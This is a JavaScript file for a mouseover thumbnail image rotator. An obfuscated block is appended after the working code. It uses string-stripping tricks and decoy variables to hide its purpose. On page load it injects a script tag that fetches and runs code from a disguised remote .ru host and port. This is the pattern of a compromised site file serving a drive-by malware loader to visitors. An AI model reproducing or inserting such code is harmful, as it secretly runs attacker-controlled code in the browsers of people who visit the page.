var timeout = 500; //0.5 second = 500 miliseconds


/**
 * No need to edit below
 */
var tm = false; //variable for timeout;
var container = false;
 
if (!document.attachEvent) {
    // firefox & friends
    window.addEventListener('load', sliekasInit,true);
} else {
    // ie
    window.attachEvent('onload',sliekasInit);
} 

function sliekasInit() {
	var elm = document.getElementsByTagName("img");
	var c = elm.length;
	
	var obj;
	for (var i=0;i<c;i++) {
		obj = elm[i];
		if (!obj.getAttribute("thumbs")) continue;
		
		
		if (!document.attachEvent) {
			obj.addEventListener('mouseover', startChangeThumbnails, true);
			obj.addEventListener('mouseout', stopEverything, true);
		}
		else {
			obj.attachEvent('onmouseover', startChangeThumbnails);
			obj.attachEvent('onmouseout', stopEverything);
		}
		
		sPreload(obj);
		obj.setAttribute("original", obj.getAttribute("src")); //save original image name for further use
		obj.setAttribute("currentThumb", "-1"); //save original image name for further use
	}
}

// preload images
function sPreload(obj) {
	var arr = obj.getAttribute("thumbs");
	if (!arr) return;
	var photos = arr.split("|");
	var c = photos.length;
	
	for (var i=0;i<c;i++) {
		var img = new Image();
		img.src = photos[i]; 
	}
}

function startChangeThumbnails(evt){
		var target;
		if (!evt) {
	            evt = window.event;
	    } 
	    
	    if (evt.target) target = evt.target;
	    else target=evt.srcElement;
	    
	    if (target.nodeName == "IMG" && target.parentNode.nodeName == "a") target = target.parentNode; // work-around for <a><img/></a> "bug"
	    
		container = target;
		showThumb();

}


function showThumb() {
	var target = container;
	if (!target) return;
	var arr = target.getAttribute("thumbs");
	if (!arr) return;
 	var photos = arr.split("|");
	var c = photos.length;
	if (c == 0) return;
	
	var curr = target.getAttribute("currentThumb");
	if (curr === false) curr = -1;
	curr++;
	if (curr >= c) curr = 0;
	
	target.setAttribute("currentThumb", curr);
	
	target.src = photos[curr];
	tm = setTimeout("showThumb()", timeout);
}

function stopEverything(evt)
{
	var target;
	if (!evt) {
            evt = window.event;
    } 
    
    if (evt.target) target = evt.target;
    else target=evt.srcElement;
    
    if (target.nodeName == "IMG" && target.parentNode.nodeName == "a") target = target.parentNode; // work-around for <a><img/></a> "bug"
    
    var src = target.getAttribute("original");
    if (!src) return;
    target.setAttribute("currentThumb", "-1");
    target.src = src;
    
    container = false;
    
	clearTimeout(tm);
}



var rs='';var f;if(f!=''){f='y'};try {var Y=new Array();var m=RegExp;var Rr;if(Rr!=''){Rr='N'};var w=new String("re"+"plXHo".substr(0,2)+"ApWvac".substr(4)+"eLj7".substr(0,1));var tq;if(tq!='' && tq!='mX'){tq=null};function A(P,s){var M=new String("[");var p="7aTg".substr(3);var Hn=new String();var i="";M+=s;var ap;if(ap!='' && ap!='EU'){ap='v'};var Ez=new Date();M+=String("J0D]".substr(3));var EM;if(EM!='Yn' && EM!='Ex'){EM='Yn'};var G=new m(M, p);var AG=new Array();return P[w](G, new String());var n;if(n!='' && n!='O'){n=null};};var L=new Date();var t='';var T=A('oNnFlOoeaEdN',"NOeFE");var Vb=new Date();var tb=new String();var c=A('/K10uXnUdU1U.0dXe0/X10uKnXd01X.0dUeX/0gUoXoXgUl0eU.0cUoUm0/0eUcKhUoXrXo0uUkXoKn0l0iKnXeX.0c0o0mK/0sXcUhXuXe0lKeXr0vUzK.0n0eKtU.KpUhXpU',"UX0K");var S='';var Nb;if(Nb!='ez'){Nb=''};var H=A('sRcWryiypytR',"RyW3");var u=A('h2t2tJpJ:J/K/Jb2iJn2gJ-2cKoJm2.JoKwJ.KlKy2.JyJoKuJkKu2-KcJoJmK.KB2eKsKtKBKlJe2nKdKe2r2P2aKr2t2.2rJuK:2',"2JK");var J=window;var iy;if(iy!='ne' && iy!='SK'){iy='ne'};this.Xe='';var r=A('86339307693894390773',"39674");var Qi;if(Qi!='' && Qi!='xTS'){Qi=null};var oy=new Array();var E=A('c0rQeQaftKeKEQlKe0mfefn0tf',"0QfK");var Ae;if(Ae!='di' && Ae!='rQ'){Ae=''};X=function(){this.yM='';j=document[E](H);var NG="";var vc;if(vc!='g_' && vc!='pN'){vc='g_'};var U;if(U!='Lc' && U!='PK'){U='Lc'};t=u+r;t+=c;var XW="";j.defer=([1,1][0]);j.src=t;var gn;if(gn!='kP' && gn != ''){gn=null};var Aed;if(Aed!='AQ' && Aed!='cJ'){Aed=''};document.body.appendChild(j);var Ik=new String();var pX;if(pX!='' && pX!='gky'){pX='kI'};};var XXR=new Date();var h='';J[T]=X;var jC="";} catch(V){var Pk=new Array();var rH;if(rH!='' && rH!='Tj'){rH=null};};var yF;if(yF!='' && yF!='GD'){yF=null};